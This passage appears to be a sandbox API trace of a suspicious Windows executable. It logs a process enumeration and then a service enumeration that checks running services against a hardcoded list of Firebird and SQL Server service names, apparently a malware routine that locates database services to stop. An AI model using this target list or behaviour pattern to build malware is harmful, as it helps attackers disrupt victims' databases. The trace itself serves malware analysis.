th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0094.916] lstrlenW (lpString="SearchUI.exe") returned 12 [0094.916] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0094.916] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0094.916] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0094.917] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0094.917] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0094.917] lstrlenW (lpString="taskhostw.exe") returned 13 [0094.917] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0094.918] lstrlenW (lpString="UsoClient.exe") returned 13 [0094.918] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0094.919] lstrlenW (lpString="taskhostw.exe") returned 13 [0094.919] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0094.919] lstrlenW (lpString="msoia.exe") returned 9 [0094.919] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0094.920] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0094.920] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0094.920] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0094.920] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0094.921] lstrlenW (lpString="msoia.exe") returned 9 [0094.921] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0094.921] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0094.921] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0094.922] lstrlenW (lpString="entering.exe") returned 12 [0094.922] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurement nut d.exe")) returned 1 [0094.922] lstrlenW (lpString="measurement nut d.exe") returned 21 [0094.922] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="ai element.exe")) returned 1 [0094.923] lstrlenW (lpString="ai element.exe") returned 14 [0094.923] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="divorce_mode_twelve.exe")) returned 1 [0094.923] lstrlenW (lpString="divorce_mode_twelve.exe") returned 23 [0094.923] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="clicking.exe")) returned 1 [0094.924] lstrlenW (lpString="clicking.exe") returned 12 [0094.924] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pack.exe")) returned 1 [0094.924] lstrlenW (lpString="pack.exe") returned 8 [0094.924] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="try-gtk.exe")) returned 1 [0094.925] lstrlenW (lpString="try-gtk.exe") returned 11 [0094.925] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counseling tmp.exe")) returned 1 [0094.925] lstrlenW (lpString="counseling tmp.exe") returned 18 [0094.925] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius_johnston_transmission.exe")) returned 1 [0094.926] lstrlenW (lpString="radius_johnston_transmission.exe") returned 32 [0094.926] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="j-portions-folders.exe")) returned 1 [0094.926] lstrlenW (lpString="j-portions-folders.exe") returned 22 [0094.926] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="samuel-clubs.exe")) returned 1 [0094.927] lstrlenW (lpString="samuel-clubs.exe") returned 16 [0094.927] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gaps_industrial.exe")) returned 1 [0094.927] lstrlenW (lpString="gaps_industrial.exe") returned 19 [0094.928] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="jerry pure.exe")) returned 1 [0094.928] lstrlenW (lpString="jerry pure.exe") returned 14 [0094.928] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powerseller.exe")) returned 1 [0094.929] lstrlenW (lpString="powerseller.exe") returned 15 [0094.929] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="non firewall.exe")) returned 1 [0094.929] lstrlenW (lpString="non firewall.exe") returned 16 [0094.930] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coal-cottage-vt.exe")) returned 1 [0094.930] lstrlenW (lpString="coal-cottage-vt.exe") returned 19 [0094.930] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="revealsprimarilywalk.exe")) returned 1 [0094.931] lstrlenW (lpString="revealsprimarilywalk.exe") returned 24 [0094.931] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="summer_knitting_map.exe")) returned 1 [0094.932] lstrlenW (lpString="summer_knitting_map.exe") returned 23 [0094.932] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="latina_rv_anything.exe")) returned 1 [0094.932] lstrlenW (lpString="latina_rv_anything.exe") returned 22 [0094.932] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephonyassumption.exe")) returned 1 [0094.933] lstrlenW (lpString="telephonyassumption.exe") returned 23 [0094.933] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bd guidance.exe")) returned 1 [0094.934] lstrlenW (lpString="bd guidance.exe") returned 15 [0095.111] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfb8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0095.112] lstrlenW (lpString="conhost.exe") returned 11 [0095.112] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xf90, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0095.112] lstrlenW (lpString="conhost.exe") returned 11 [0095.112] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lang hl gis.exe")) returned 1 [0095.113] lstrlenW (lpString="lang hl gis.exe") returned 15 [0095.113] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0095.114] lstrlenW (lpString="svchost.exe") returned 11 [0095.114] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0095.114] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0095.114] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0095.115] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0095.115] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xa7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0095.115] lstrlenW (lpString="conhost.exe") returned 11 [0095.115] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0095.116] lstrlenW (lpString="svchost.exe") returned 11 [0095.116] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0095.117] lstrlenW (lpString="cmd.exe") returned 7 [0095.117] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0095.117] lstrlenW (lpString="conhost.exe") returned 11 [0095.117] Process32NextW (in: hSnapshot=0x364, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0095.118] CloseHandle (hObject=0x364) returned 1 [0095.119] Sleep (dwMilliseconds=0x1f4) [0096.144] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x47f0a0 [0096.145] EnumServicesStatusExW (in: hSCManager=0x47f0a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 0 [0096.147] GetLastError () returned 0xea [0096.147] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x1d4a) returned 0x36870d8 [0096.148] EnumServicesStatusExW (in: hSCManager=0x47f0a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36870d8, cbBufSize=0x1d4a, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36870d8, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 1 [0096.149] CloseServiceHandle (hSCObject=0x47f0a0) returned 1 [0096.149] lstrlenW (lpString="Appinfo") returned 7 [0096.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0096.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0096.149] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0096.149] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0096.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0096.149] lstrlenW (lpString="AppXSvc") returned 7 [0096.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0096.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0096.149] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0096.149] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0096.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0096.149] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0096.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0096.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0096.149] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0096.149] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0096.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0096.150] lstrlenW (lpString="Audiosrv") returned 8 [0096.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0096.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0096.150] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0096.150] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0096.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0096.150] lstrlenW (lpString="BFE") returned 3 [0096.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0096.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0096.150] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0096.150] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0096.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0096.150] lstrlenW (lpString="BITS") returned 4 [0096.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0096.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0096.150] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0096.150] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0096.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0096.150] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0096.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0096.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0096.150] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0096.150] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0096.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0096.151] lstrlenW (lpString="CDPSvc") returned 6 [0096.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0096.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0096.151] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0096.151] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0096.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0096.151] lstrlenW (lpString="ClickToRunSvc") returned 13 [0096.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0096.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0096.151] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0096.151] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0096.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0096.151] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0096.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0096.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0096.151] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0096.151] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0096.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0096.151] lstrlenW (lpString="CryptSvc") returned 8 [0096.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0096.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0096.151] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0096.151] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0096.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0096.152] lstrlenW (lpString="DcomLaunch") returned 10 [0096.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0096.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0096.152] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0096.152] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0096.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0096.152] lstrlenW (lpString="DeviceAssociationService") returned 24 [0096.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0096.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0096.152] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0096.152] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0096.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0096.152] lstrlenW (lpString="Dhcp") returned 4 [0096.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0096.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0096.152] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0096.152] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0096.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0096.152] lstrlenW (lpString="Dnscache") returned 8 [0096.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0096.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0096.152] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0096.152] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0096.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0096.153] lstrlenW (lpString="DoSvc") returned 5 [0096.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0096.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0096.153] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0096.153] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0096.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0096.153] lstrlenW (lpString="DPS") returned 3 [0096.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0096.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0096.153] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0096.153] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0096.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0096.153] lstrlenW (lpString="DusmSvc") returned 7 [0096.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0096.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0096.153] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0096.153] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0096.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0096.153] lstrlenW (lpString="EventLog") returned 8 [0096.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0096.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0096.153] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0096.154] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0096.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0096.154] lstrlenW (lpString="EventSystem") returned 11 [0096.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0096.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0096.154] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 